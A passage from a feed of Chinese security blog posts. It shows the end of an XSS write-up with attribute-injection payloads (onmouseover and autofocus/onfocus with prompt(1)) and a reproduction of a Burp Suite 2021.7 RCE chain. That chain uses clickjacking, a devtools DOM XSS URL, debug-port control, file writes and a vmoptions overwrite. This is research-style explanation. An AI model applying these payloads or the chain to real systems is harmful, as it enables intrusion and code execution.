PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">成功注入，并没有被拦截。但是比较鸡肋的是，这个事件要求用户把鼠标移动到这个小小的input上才能触发。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后我注意到这个input后面跟的是style标签，可以用于设置元素的大小。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">并且在html中先定义的属性才会生效，例如</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002015" data-ratio="0.3739612188365651" title="null" data-type="png" data-w="361" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=31893ef0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cc9PE1vsibjicYTxySc15tnogROiaGfPyBtT0J9IphNiba1T2MEicH6UDXoDdDCHnZeHGkHnM3xgiaqfOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">我们可以看到元素b是没有生效的。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-imgfileid="100002016" data-ratio="0.3230240549828179" title="null" data-type="png" data-w="582" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd9cb036&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cc9PE1vsibjicYTxySc15tno9CpxIMEdLf9HRlJCDujOJT0iaJUgfI1RibdUjRNt4Ve1WgRZVqPdS9FQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">于是我们可以通过在前面写style，让input覆盖满整个屏幕。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">payload如下:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://target.com?product_name=admin%22style=%22height:%20100%;width:100%;position:%20absolute;top:%200;left:%200;z-index:%209999;%22%20oNmOuSeOvEr=prompt(1)//%3E" target="_blank">https://target.com?product_name=admin%22style=%22height:%20100%;width:100%;position:%20absolute;top:%200;left:%200;z-index:%209999;%22%20oNmOuSeOvEr=prompt(1)//%3E</a></code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这样只要鼠标移动到网页里面就会触发prompt</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">稍微接近于可用状态了，后来有另一个大佬提出了一个更为完美的解决方案，通过autofocus加oNfocUs两个属性一起</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">onfocus 事件在对象获得焦点（光标）时发生</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">autofocus 设置了该属性 , 可以自动进行聚焦 , 页面加载完毕后 , 自动聚焦到设置了该属性的表单</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">完整payload如下:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://target.com?product_name=admin" target="_blank">https://target.com?product_name=admin</a>&#34;) autofocus oNfocUs=&#34;prompt(1)&#34;//</code></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485667">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=26b94303&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485667%26idx%3D1%26sn%3D8d72704724fb514db2dc68d787fff366%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 23 Jan 2024 00:36:00 +0800</pubDate>
    </item>
    <item>
      <title>burp_crawl_rce复现-从点击劫持到rce</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485659&amp;idx=1&amp;sn=47f1f78d5d2042482c976f06344733ac</link>
      <description>burp_crawl_rce复现-从点击劫持到rce</description>
      <content:encoded><![CDATA[<p>
原创 <span>kkk mr</span> <span>2023-11-07 23:24</span> <span style="display: inline-block;">浙江</span>
</p>

<p>burp_crawl_rce复现-从点击劫持到rce</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2ba83eb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8w9GeJYSka60WXAEkcSohUdB7p0kFlfjF8f2JEK6ibw7huPVHxMX4aA3w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote style="margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);"><p style="margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;">漏洞来源 <a href="https://hackerone.com/reports/1274695" target="_blank">https://hackerone.com/reports/1274695</a></p></blockquote><h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">漏洞环境</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">burpSuite 2021.7</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><a href="https://portswigger-cdn.net/burp/releases/download?product=pro&amp;version=2021.7&amp;type=jar" target="_blank">https://portswigger-cdn.net/burp/releases/download?product=pro&amp;version=2021.7&amp;type=jar</a></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">poc文件见h1链接</p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;text-wrap: wrap;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">漏洞复现</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">添加一个扫描任务，用于启动burp内置的无头chrome</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.7778884462151394" title="null" data-type="png" data-w="2008" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=96f8bf99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wP9bhzWx1HhIIPQE5aoJo5xlKbAGrbnR7v0o45d2hOSyckmaicQhyDGg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">启动以后用 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">python3 -m http.server</code>启动一个http服务，然后用chrome打开burp.html</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">打开以后会尝试 扫描本地的chrome的debug端口</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="1.0060679611650485" title="null" data-type="png" data-w="1648" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d4897cc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wjLHLYB2AUN8B77PoibsVAU1uDW6hTRicOajSL0wm2LbyEAtYAQdviaQkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">扫描到了以后会创建一个iframe 地址是 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="http://127.0.0.1:49576/" target="_blank">http://127.0.0.1:49576/</a></code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该页面的内容为，多个A链接:</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.4282608695652174" title="null" data-type="png" data-w="2760" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cef4c3dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wHLEEaCqEcwZ1Lmu0rXW1pTWSia5G1hwWqDhZQ7ic7icphv7941zXQ3A7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后使用点击劫持，当点击CLICK ME以后实际上是点击 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="http://127.0.0.1:49576/" target="_blank">http://127.0.0.1:49576/</a></code>下的 about:blank链接</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5955882352941176" title="null" data-type="png" data-w="1360" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2827c6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wXEXzwI6bqzTBMZTdZnhQmscDP81cnWAxBiaTEic9lGm5dT2gTwYKJfeg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">iframe发生跳转,地址为</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://chrome-devtools-frontend.appspot.com/serve_file/@4bb19460e8d88c3446b360b0df8fd991fee49c0b/inspector.html?ws=127.0.0.1:49576/devtools/page/9D8411A3AA381D422364000736AE56D9&amp;remoteFrontend=true" target="_blank">https://chrome-devtools-frontend.appspot.com/serve_file/@4bb19460e8d88c3446b360b0df8fd991fee49c0b/inspector.html?ws=127.0.0.1:49576/devtools/page/9D8411A3AA381D422364000736AE56D9&amp;remoteFrontend=true</a></code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这个地址中包含最重要的 <code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">ws=127.0.0.1:49576/devtools/page/9D8411A3AA381D422364000736AE56D9</code>这个地址可用于chrome调试</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">那么这个时候，问题就是怎么拿到这个iframe中的地址了，因为这个同源策略，我们在top页面上只能拿到<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="http://127.0.0.1:49576/" target="_blank">http://127.0.0.1:49576/</a></code>这个地址，点击a连接跳转以后的<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://chrome-devtools-frontend.appspot.com" target="_blank">https://chrome-devtools-frontend.appspot.com</a></code>这个地址我们是拿不到的</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">比如这个页面，我们在127上iframe到另一个域的网站，然后a链接跳转到7k7k，我们通过src拿到的还是127的地址</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5141037306642402" title="null" data-type="png" data-w="2198" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bec81392&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wWN9EBWwMauWcGm3JX8ObgmbCABHgvjdv0YOMA8ZiaCTPvJQarH5MpYw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如果想要拿到真实的src地址，就要同源，我再iframe一个7k7k,在这个iframe下就能拿到真实的src了</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.324974924774323" title="null" data-type="png" data-w="1994" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=237d2d85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8wK21IR1X4knjvemy9X7pL0AeOribQlia9ibWZjabdXPVywW8oSdFV3e57Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">于是攻击者利用了appspot.com下的一个dom xss漏洞,新建一个iframe页面，然后把地址通过postmessage发送到top页面，得到了ws地址</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><a href="https://chrome-devtools-frontend.appspot.com/serve_rev/@191797/devtools.html?remoteFrontendUrl=javascript:top.postMessage(top.frames[1].location.href," target="_blank">https://chrome-devtools-frontend.appspot.com/serve_rev/@191797/devtools.html?remoteFrontendUrl=javascript:top.postMessage(top.frames[1].location.href,</a>&#34;*&#34;)</code></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">拿到这个地址以后，通过<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">chrome-remote-interface</code>就可以操作浏览器的行为了。配置文件下载路径</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.12949640287769784" title="null" data-type="png" data-w="1390" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e5ea365&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8w5KgiaeMhkuAIWK8cM450vybuqZyCJTjuEbvHVXSrniadc9PZNCHhWNjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后用blob协议发起文件下载请求，就能够实现任意文件写入了</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">值得注意的是，这个作者实现mac rce的方式也是很有价值是通过，覆盖burp的<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">vmoptions</code>来实现的</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.05420560747663551" title="null" data-type="png" data-w="2140" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5be35397&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1f0FZGNemKliadkkEmQlhF8w4ZaGqIA5aswOGgjh8H2cCiaGrmUp2Tlic4DOLZj1zgqj33CxZqCMaLPg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">给jvm设置极小的内存，burp会迅速内存耗尽，触发了<code style="padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">OnOutOfMemoryError</code>选项导致命令执行。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;text-wrap: wrap;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在这个案例中，一共使用了js扫描探测端口-&gt;点击劫持-&gt;dom xss-&gt;操纵浏览器实现任意文件写入-&gt;jvm rce。攻击链相当复杂，虽然实战中可利用可能性不大，但是相当具有参考价值。</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485659">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6d671d4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485659%26idx%3D1%26sn%3D47f1f78d5d2042482c976f06344733ac%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Nov 2023 23:24:00 +0800</pubDate>
    </item>
    <item>
      <title>[推荐]新型webshell检测工具-Kunwu</title>
